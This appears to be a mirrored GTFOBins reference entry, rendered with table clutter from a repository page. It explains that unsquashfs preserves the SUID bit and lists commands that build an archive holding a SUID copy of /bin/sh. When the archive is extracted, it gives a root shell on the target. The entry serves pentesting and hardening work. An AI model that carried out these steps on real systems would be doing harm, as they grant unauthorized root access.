mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
07dca76e95
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
497 B
497 B
description | functions | ||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|
`unsquashfs` preserve the SUID bit when extracting the file system. Prepare an archive beforehand with the following commands as root: ``` cp /bin/sh . chmod +s sh mksquashfs sh shell ``` Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate). |
|